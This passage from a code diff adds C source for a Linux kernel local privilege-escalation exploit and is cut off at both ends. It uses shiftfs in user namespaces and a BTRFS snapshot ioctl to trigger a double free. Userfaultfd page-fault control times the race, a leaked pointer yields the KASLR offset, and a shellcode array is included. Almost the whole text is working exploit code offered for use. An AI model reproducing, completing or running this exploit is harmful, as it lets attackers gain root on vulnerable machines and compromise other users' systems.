0); + } else if (gdata.wp_fault_nb == 3+5) { /* Third copy_to_user */ + if (pageid != 1) { + printf("unexpected pageid for fault 3+5\n"); + } + gdata.cb_collect_leak(); + set_page_wp(0, 1); + set_page_wp(1, 0); + } else if (gdata.wp_fault_nb == 3+6) { /* Third copy_to_user */ + if (pageid != 0) { + printf("unexpected pageid for fault 3+6\n"); + } + printf("AGAIN??\n"); + set_page_wp(0, 0); + } + } + } + printf("WARNING!!! Uffd thread is exiting\n"); + return NULL; +} + +void alloc_mem_2pages(void) +{ + int ret; + + //gdata.size = 2*PAGESIZE; + //ret = posix_memalign((void **)&gdata.alloc, PAGESIZE, gdata.size); + gdata.alloc = (char*)0x100000; + gdata.size = 2*PAGESIZE; + map_page_untouched(0, 0); + map_page_untouched(1, 0); + printf("Allocated 2 pages at %p (ret:%p)\n", gdata.alloc); + + ret = posix_memalign((void **)&gdata.alloc_storage, PAGESIZE, gdata.size); + memset(gdata.alloc_storage, 0, gdata.size); + printf("Allocated 2 storage pages at %p (ret:%d)\n", gdata.alloc_storage, ret); +} + +void map_page_untouched(int index, int do_unmap) +{ + char* ptr; + int offset = index * PAGESIZE; + if (do_unmap) { + printf("Backuping page data %d\n", index); + memcpy(gdata.alloc_storage + offset, gdata.alloc + offset, PAGESIZE); + printf("Unmap page %d\n", index); + munmap(gdata.alloc + offset, PAGESIZE); + } + ptr = (char*)mmap(gdata.alloc + offset, PAGESIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (ptr != gdata.alloc + offset) { + printf("Failed to map untouched page at addr %p (%p)\n", gdata.alloc + offset, ptr); + } + printf("Remaped 1 page at %p\n", gdata.alloc + offset); +} + +/* ---------------------------------------------------------------------------- + * SHIFTFS FUNCTIONS + * ---------------------------------------------------------------------------- + */ +void setup_shiftfs(void) +{ + int uid = getuid(); + int gid = getgid(); + char map[64]; + + printf("Creating new USERNS\n"); + if (unshare(CLONE_NEWUSER) != 0) { + perror("unshare(CLONE_NEWUSER)"); + exit(EXIT_FAILURE); + } + + printf("Configuring UID/GID map for user %d/%d\n", uid, gid); + + snprintf(map, 64, "0 %d 1\n", uid); + write_file("/proc/self/uid_map", map, -1); + + write_file("/proc/self/setgroups", "deny", -1); + + snprintf(map, 64, "0 %d 1\n", gid); + write_file("/proc/self/gid_map", map, -1); + + printf("Creating new MOUNTNS\n"); + + if (unshare(CLONE_NEWNS) != 0) { + perror("unshare(CLONE_NEWNS)"); + exit(EXIT_FAILURE); + } + + if (mount("none", "/", NULL, MS_REC|MS_PRIVATE, NULL) != 0) { + perror("mount(/)"); + exit(EXIT_FAILURE); + } + + system("mkdir -p d1"); + system("mkdir -p d2"); + + printf("Mounting tmpfs on d1\n"); + if (mount("none", "d1", "tmpfs", 0, NULL) != 0) { + perror("mount(tmpfs)"); + exit(EXIT_FAILURE); + } + + printf("Mounting shiftfs on d2\n"); + if (mount("d1", "d2", "shiftfs", 0, "mark,passthrough=2") != 0) { + perror("mount(shiftfs)"); + exit(EXIT_FAILURE); + } + + printf("Creating shiftfs file\n"); + system("touch d2/f1"); + + gdata.fd_shiftfs = open("d2/f1", O_RDWR); + if (gdata.fd_shiftfs < 0) { + perror("open(shiftfs_file)"); + exit(EXIT_FAILURE); + } + printf("Shiftfs FD : %d\n", gdata.fd_shiftfs); +} + +void trigger_double_free(void) +{ + struct btrfs_ioctl_vol_args *arg_storage = (struct btrfs_ioctl_vol_args *)(gdata.alloc_storage + ALIGN_CACHELINE); + struct btrfs_ioctl_vol_args *arg_syscall = (struct btrfs_ioctl_vol_args *)(gdata.alloc + ALIGN_CACHELINE); + int ret; + + /* Need a valid file descriptor, so use the same one as for ioctl */ + arg_storage->fd = gdata.fd_shiftfs; + + /* Initialize fault counter */ + gdata.wp_fault_nb = 0; + + /* PAGE0 RW PAGE1 FAULT */ + //set_page_wp(1, 1); + + printf("Triggering the vulnerability...\n"); + ret = ioctl(gdata.fd_shiftfs, BTRFS_IOC_SNAP_CREATE, arg_syscall); + printf("Ioctl returned %d - errno = %d\n", ret, errno); +} + +void repair_double_free(char* content) +{ + char* mem = gdata.alloc; /* Reuse this memory, we won't fault now */ + struct btrfs_ioctl_vol_args *arg = (struct btrfs_ioctl_vol_args *)(mem + ALIGN_CACHELINE); + int ret; + + /* Copy wanted data */ + memcpy(arg, content, PAGESIZE); + + /* Make sure this is an invalid FD */ + arg->fd = 0xffff; + + ret = ioctl(gdata.fd_shiftfs, BTRFS_IOC_SNAP_CREATE, arg); + //printf("Ioctl returned %d - errno = %d\n", ret, errno); +} + +/* Shellcode */ +unsigned char shellcode[] = { + 0xe8, 0x00, 0x00, 0x00, 0x00, /* gadget to pop rip */ + 0x5a, + 0x48, 0x83, 0xea, 0x05, + 0x52, /* push rdx */ + 0x48, 0x8d, 0x4a, 0xf0, /* lea rcx, [rdx -0x10] */ + 0x48, 0x8b, 0x09, /* mov rcx, [rcx] */ + 0xbf, 0x00, 0x00, 0x00, 0x00, /* mov edi, 0 */ + 0xff, 0xd1, /* call rcx */ + 0x48, 0x89, 0xc7, /* mov rdi, rax */ + 0x5a, /* pop rdx */ + 0x48, 0x8d, 0x4a, 0xe8, /* lea rcx, [rdx -0x18] */ + 0x48, 0x8b, 0x09, /* mov rcx, [rcx] */ + 0xff, 0xd1, /* call rcx */ + 0xc3 /* ret */ +}; +/* 0xff, 0xff,0xff, 0x00,0x00, 0x00,0x00, 0x00, crash + backtrace */ + + +/* ---------------------------------------------------------------------------- + * MAIN FUNCTION + * ---------------------------------------------------------------------------- + */ + +int main(int argc, char** argv) +{ + int ret, i; + pthread_t uffd_thread; + char buf[64]; + + printf("################################################\n"); + printf("# EXPLOIT SETUP #\n"); + printf("################################################\n"); + + load_symbols(); + + gdata.cpu = 0; /* Pin on CPU0 because it is always here */ + printf("Pinning on CPU %d\n", gdata.cpu); + pin_on_cpu(gdata.cpu); + + memset(gdata.sysctl_mem_orig, 0, PAGESIZE); + setup_shiftfs(); + + /* Create UFFD monitor thread for double fault */ + alloc_mem_2pages(); + setup_userfaultfd(); + pthread_create(&uffd_thread, NULL, uffd_monitor, NULL); + + printf("################################################\n"); + printf("# PRIMITIVES STABILISATION #\n"); + printf("################################################\n"); + + /* Initialize callback */ + gdata.cb_between_kfree = alloc_victim; + gdata.cb_collect_leak = collect_leak; + trigger_double_free(); + + gdata.kaslr_offset = gdata.devinet_sysctl_forward_ptr - devinet_sysctl_forward_base; + + printf("table_header_ptr = %016llx\n", gdata.table_header_addr); + printf("KASLR offset = %016llx\n", gdata.kaslr_offset); + + build_sysctl_for_stabilisation(); + + /* The system will lose definitively REALLOC_NB*4k of memory */ + printf("Repairing the double free (removing %d chunks)...\n", REALLOC_NB); + for (i=0; i